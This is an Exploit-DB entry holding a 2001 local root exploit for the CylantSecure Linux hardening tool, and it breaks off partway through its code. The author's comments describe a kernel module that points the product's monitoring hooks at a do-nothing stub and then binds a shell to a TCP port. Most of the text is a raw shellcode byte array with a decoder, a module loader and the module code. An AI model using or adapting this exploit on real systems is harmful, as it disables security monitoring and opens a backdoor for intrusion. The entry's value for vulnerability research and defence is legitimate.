Exploit-DB #20988
Description: CylantSecure 1.0 - Kernel Module Syscall Rerouting
Type: local
Platform: linux
Date: 2001-06-29
Author: Juergen Pabel

Exploit:
/*
source: https://www.securityfocus.com/bid/2958/info

CylantSecure is a commercial Linux hardening tool and security infrastructure available from Cylant Technology.

A problem in the CylantSecure infrastructure could allow users to escape monitoring. A user with root access may load a module that allows syscall redirection.

This makes it possible for local users to execute system calls outside of the infrastructure, which could lead to the execution of malicious local programs.
*/

/*
Juergen Pabel
juergen@pabel.net

This is an exploit to disable the cylant system. It needs to be run as root. It simply
inserts a kernel module which re-routes some function pointers to point to a function
that does nothing (contained in my module code). By doing this the cylant defense system
is effectively disabled. This code uses hardcoded (!) values for the pointer addresses,
which you will need to adapt if you want to use it on any other build then the build that
was used for their hacking challenge (i believe it was kernel 2.2.18, cylant version 1.1).
in any case, i hope i don't have to say that with any other version this code will crash
and burn...

I have set up my code to be 512 bytes total, to fit into one udp packet, which i planned
on sending to my udp-downloader code....unfortunately i ran out of time and did not find
a working exploit which would allow my udp-downloader to run. i have testet this code
locally on my own system and it works like a charm.

lastly, a short outline of this code:

- demasq's the rest of the packet (each byte after the initial code (64bytes) is decreased
  by 3...there was no 0xfd in the packet)
- insert the module into the kernel
  - the module's init function reroutes the function pointers to the function stub in the
    module code
- bind a shell to a tcp port (i'll leave it to you to figure out which one...take it as a
  script kiddie protection, even though i doubt this will find any real use...it's more of a
  proof of concept)

i want to congratulate all the (very nice and helpful) people at cylant for a fine
product (they were already working on a fix to this particular attack, so this attack
probably won't work in newer versions of cylant's software). greetings go to spender,
oasis, my rugby buddy: destructive force

credits go to ron1n for writting the port binding shell code, which i ripped from
his statdx exploit.

i take no responsibility for what you do with this...

*/

int main (int argc, char* argv[])
{
char moduleloader[] = {
//masq'ing ascii 0 (size = 64 bytes)
//takes the next 448 bytes and decreases each byte by 3 (ascii \0 avoidance)
0x31, 0xc9, 0xe3, 0x02, 0xe3, 0x05, 0xe8, 0xf9, 0xff, 0xff, 0xff, 0x58,
0x83, 0xe8, 0x0b, 0x89, 0xc6, 0x31, 0xc9, 0x41, 0xd0, 0xe1, 0xd0, 0xe1,
0xd0, 0xe1, 0xd0, 0xe1, 0xd0, 0xe1, 0xd0, 0xe1, 0x01, 0xce, 0x66, 0xb9,
0xc0, 0x01, 0xfe, 0x0e, 0xfe, 0x0e, 0xfe, 0x0e, 0x46, 0x49, 0xe3, 0x05,
0xe9, 0xf1, 0xff, 0xff, 0xff, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,

//module loader, jumps to code at end after module loading (size = 84)
0xe8, 0x00, 0x00, 0x00, 0x00, 0x5b, 0x83, 0xeb, 0x05, 0xb8, 0x7f, 0x00,
0x00, 0x00, 0x81, 0xc3, 0x60, 0x00, 0x00, 0x00, 0x83, 0xc3, 0x48, 0xb9,
0x00, 0x01, 0x00, 0x00, 0xcd, 0x80, 0x89, 0xc2, 0x83, 0xeb, 0x48, 0xc7,
0x43, 0x00, 0x48, 0x00, 0x00, 0x00, 0xc7, 0x43, 0x0c, 0x00, 0x01, 0x00,
0x00, 0x83, 0xc2, 0x48, 0x89, 0x53, 0x08, 0x83, 0xc2, 0x08, 0x89, 0x53,
0x2c, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x83, 0xc3, 0x48, 0x89, 0xd9, 0x83,
0xe9, 0x48, 0xcd, 0x80, 0x31, 0xc9, 0x0f, 0x83, 0xcc, 0x00, 0x00, 0x00,

//padding (size = 12) : total = 160
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,



// ---- ==== END OF MODULE LOADER, next is module code ==== ----

//struct module (size = 72 bytes)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

//module name : jpabel + 2 0x00's (size = 8)
0x6a, 0x70, 0x61, 0x62, 0x65, 0x6c, 0x00, 0x00,

//module content (size == 96)
    /* module init */
    0xe8, 0x00, 0x00, 0x00, 0x00,      /* calln 0      */
    0x58,                              /* pop eax      */
    0x83, 0xe8, 0x05,                  /* sub eax, 5   */
//9
    0x89, 0xc1,                        /* mov ecx, eax */
    0x83, 0xc1, 0x60,                  /* add ecx, FUNC w/ 6 params */
//5
    /* reroute rid_inst_ip (6 params) */
    0xba, 0x6c, 0x94, 0x25, 0xc0,      /* mov edx, PTR */
    0x89, 0x0a,                        /* mov [edx],ecx*/
//7
    0x83, 0xc1, 0x04,                 /* add ecx, 4 (from 6 params -> 2 params) */
//3
    /* reroute cyl_inst_pid (2 params) */
    0xba, 0x64, 0x94, 0x25, 0xc0,      /* mov edx, PTR */
    0x89, 0x0a,                        /* mov [edx],ecx*/
    /* reroute rid_inst_pid (2 params) */
    0xba, 0x70, 0x94, 0x25, 0xc0,      /* mov edx, PTR */
    0x89, 0x0a,                        /* mov [edx],ecx*/
//14
    0x83, 0xc1, 0x01,                 /* add ecx, 1 (from 2 params -> 1 param) */
//3
    /* reroute aria_inst_kout (1 param) */
    0xba, 0x50, 0x94, 0x25, 0xc0,      /* mov edx, PTR */
    0x89, 0x0a,                        /* mov [edx],ecx*/
    /* reroute rids_should_profile (1 param) */
    0xba, 0x5c, 0x94, 0x25, 0xc0,      /* mov edx, PTR */
    0x89, 0x0a,                        /* mov [edx],ecx*/
    /* reroute rids_pid_release_task (1 param) */
    0xba, 0x74, 0x94, 0x25, 0xc0,      /* mov edx, PTR */
    0x89, 0x0a,                        /* mov [edx],ecx*/
    /* reroute rids_pid_tag_task (1 param)